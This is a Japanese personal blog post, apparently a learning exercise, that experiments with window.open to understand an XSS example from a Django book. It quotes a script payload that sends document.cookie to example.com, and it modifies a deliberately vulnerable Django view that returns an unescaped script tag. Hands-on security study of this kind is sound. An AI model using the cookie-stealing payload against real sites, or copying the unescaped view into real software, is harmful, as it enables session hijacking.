nikkie-ftnextの日記

イベントレポートや読書メモを発信

XSSの例に登場するJavaScriptのopen(window.open)を理解したく手を動かす

はじめに

豊洲ユナイテッドシネマ埋めるぞ!(ミリアニはいいぞ) nikkieです。

今回は小さな素振り記事です。

目次

window.open

実践Django』のXSS脆弱性の例で知りました。
openを使ってクッキーを送信するコードが実行される例が紹介されます(Kindle版 p.297 より)。

<script>open('http://example.com/stole?cookie='+escape(document.cookie));</script>

このopen関数自体がよく分かっていなかったので今回素振りしました。

open() は Window インターフェイスのメソッドで、指定されたリソースを、新しい、または既存の指定された名前を持った閲覧コンテキスト (ウィンドウ、 iframe、タブ) に読み込みます。

開発ツールで動作確認

ブラウザ(Firefox)で新しいタブを開き、ウェブ開発ツールのコンソールタブを使います

open("http://httpbin.org/get")

Firefoxが1個のポップアップをブロックしました。」と出るので、許可します。
するとブラウザの新しいタブで http://httpbin.org/get が開きます

openする先のWireMockを用意

openを使えばURLをブラウザで開けると知ったnikkie氏。
ここで過去のエントリでも取り上げた、あのネタに挑戦します。

この記事に沿ってJSONファイルを配置し、Wiremockを立ち上げます1

docker run -it --rm \
  -p 8080:8080 \
  --name chisataki-mock \
  -v $PWD:/home/wiremock \
  wiremock/wiremock:3.0.0-1

別のターミナルで動作確認

% curl http://localhost:8080/chinanago
sakana

それではブラウザのウェブ開発ツールからは...

open("http://localhost:8080/chinanago")

さかなー!!🐟🐟🐟
日本語を使いたかったのですが、openしたタブでは表示が文字化けしてしまったので、アルファベット表記としました

XSS脆弱性のあるDjangoアプリにopenを埋め込む

ブラウザの開発ツールで動かせたので、XSS脆弱性の例も動かしてみます。
上記エントリで組んだコードからビュー関数の返り値を変更し2(※依然としてまずい例です)、

-    return HttpResponse('<script>alert("XSSです")</script>')
+    return HttpResponse('<script>open("http://localhost:8080/chinanago")</script>')

Djangoアプリを動かします。

ブラウザで http://127.0.0.1:8000/example/ を開き、ポップアップのブロックを許可する

(WireMockのときと同様に)さかなー!!🐟🐟🐟

このURLのソースは

<script>open("http://localhost:8080/chinanago")</script>

となっています(エスケープされていない!)。
ブラウザでopenが実行されて、ちさたきモックへのリクエストが送られたのでした

終わりに

XSS脆弱性の例にあったopenを使ったコードの理解を深めたく、モックサーバを用意して手を動かしました。

『実践Django』を読んだ時点では「openが埋め込まれてXSSされるのか〜」と思ったのですが、手を動かしてみてopenを使った攻撃の成功率はそんなに高くないのではという感想です。
openのドキュメントにも記載がありますが(「アクセシビリティ」)。

最近のブラウザーは、ポップアップブロック機能を備えています。

ユーザがポップアップブロックを許可するまでは、ブラウザが最後の砦になっているという印象です。
徳丸本を見ると、openではない方法で攻撃しているので、理解度を上げるために、そちらでも手を動かしてみたいところです